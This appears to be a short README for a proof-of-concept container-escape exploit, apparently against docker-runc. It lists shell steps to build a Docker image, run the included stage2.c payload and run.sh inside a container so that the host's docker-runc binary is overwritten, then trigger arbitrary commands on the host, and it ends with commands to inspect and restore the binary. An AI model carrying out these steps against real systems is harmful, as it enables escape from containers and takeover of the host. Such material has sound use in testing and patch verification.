To run:

• (1). edit poc command in stage2.c
• (2). build docker docker build -t cve .
• (3). run docker docker run -d cve /bin/bash -c "tail -f /dev/null"
• (4). backup docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
• (5). docker exec -it docker-id /bin/bash
• (6). in docker run cd /root && ./run.sh && exit
• (7). docker exec -it docker-id /bin/bash,bingo!!

run `strings /usr/bin/docker-runc | tail -n 2` view docker-runc  
run  `cp /usr/bin/docker-runc.bak /usr/bin/docker-runc` recovery docker-runc